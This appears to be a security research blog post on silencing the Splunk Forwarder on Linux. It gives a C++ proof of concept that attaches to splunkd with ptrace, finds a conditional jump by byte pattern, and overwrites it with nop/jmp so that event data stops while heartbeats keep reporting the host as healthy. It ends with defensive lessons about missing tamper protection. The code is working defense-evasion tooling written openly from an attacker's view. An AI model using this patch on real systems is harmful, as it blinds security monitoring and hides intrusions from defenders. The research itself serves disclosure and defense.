Many organizations rely on Splunk and its Splunk Forwarder to deliver event data as a sole source of telemetry. For quite some time, I’ve wondered if it’s possible to mute the Splunk Forwarder’s splunkd process, so that no event data reaches the respective endpoint. Technically, this should be possible, once the required privileges are granted on a system. Therefore, I’ve decided to take a look at this. While Splunk Forwarder is available for various platforms, I’ve targeted the Linux version. This means that you need permissions to ptrace the splunkd process to be able to do any modifications.

A quick analysis in a disassembler showed that there exist several threads that are being used to transmit data, with two of them being:

• The heartbeat thread that transmits regular events. This data is available in the _internal index.
• The thread that’s responsible for sending actual event data.

As an attacker, it’s obvious to target the latter, while keeping the heartbeat thread intact. If there would be a way to keep events from being sent, any executed commands used for local reconnaissance or exploitation would be invisible for defenders, since no telemetry is available. Here’s what the event sending thread looks like in a disassembler:

As can be seen above, a simple patch of the if-statement (je instruction) would force splunkd to always enter an error condition that occurs in case the event receiver isn’t reachable. Note that this does not touch the heartbeat thread. The je instruction can be replaced with a nop and jmp instruction to keep the alignment in place. Of course, each version of splunkd is different and so is the offset to the instruction to be patched. To counter this, I’ve generated a signature of the surrounding bytes, which worked on the latest two versions at the time of writing this article. As a simple proof of concept, I came up with the following code:

// get PIDs of all splunkd processes (in case there are multiple)
auto PIDs = get_pids();
uint64_t offset = 0;

// pattern for instruction to patch
// 0F84?0000?80BBA000000000
std::vector<unsigned char> pattern_vec = {0x0F, 0x84, 0xAA, 0x00, 0x00, 0xAA, 0x80, 0xBB, 0xA0, 0x00, 0x00, 0x00, 0x00};

for(auto it=PIDs.begin(); it != PIDs.end(); it++) {
    pid_t PID = *it;
    std::cout << "Using PID: " << PID << std::endl;
    std::string splunk_path = do_readlink("/proc/" + std::to_string(PID) + "/exe");
    std::cout << "splunkd binary is at " << splunk_path << std::endl;

    // determine offset of instruction by a pattern scan
    if(offset == 0) {
        offset = scan(splunk_path, pattern_vec);
    }

    // get base address of process by PID
    void *addr = get_base(PID) + offset;
    unsigned char resBuf[8];

    ptrace(PTRACE_ATTACH, PID, 0, 0);

    union u{
        long int val;
        char chars[8];
    } data;

    int bufferLength = sizeof(data.chars);
    data.val = ptrace(PTRACE_PEEKDATA, PID, addr, NULL);

    std::vector<unsigned char> res(data.chars, data.chars + bufferLength);

    std::cout << "reading @ " << addr << std::endl;
    for(auto it=res.begin(); it!=res.end(); it++) {
        std::cout << std::hex << (int)*it << std::dec;
    }
    std::cout << std::endl;

    std::cout << "patching @ " << addr << std::endl;
    std::vector<unsigned char> toWrite = res;
    toWrite[0] = 0x90; // nop
    toWrite[1] = 0xe9; // jmp
    int i = 0;
    for(auto it = toWrite.begin(); it!=toWrite.end(); it++) {
        ptrace(PTRACE_POKEDATA, PID, addr + i, *it);
        i++;
    }
    ptrace(PTRACE_CONT, PID, 0, 0);

    std::cout << "Done." <<  std::endl;
}

The full PoC can be found in the threathunters-io GitHub repository.

This code targets each splunkd process running on the local machine. After executing this, no event data will be transferred, while heartbeats will continue working. Note that you need to use ptrace for this, since other syscalls like process_vm_writev can’t be used to alter code while the process is running. You could also patch the binary itself, but that’s another story. All tests were performed with version 9.0.1 of the Splunk Forwarder.

What do we learn from this experiment?

• The splunkd process can be altered by users with the right permissions.
• There are no countermeasures implemented in the Splunk Forwarder to prevent this kind of manipulation.
• The manipulation can be carried out before splunkd even manages to report the usage of ptrace.
• You should not rely on splunkd’s own heartbeats to determine if a host is still up and running correctly.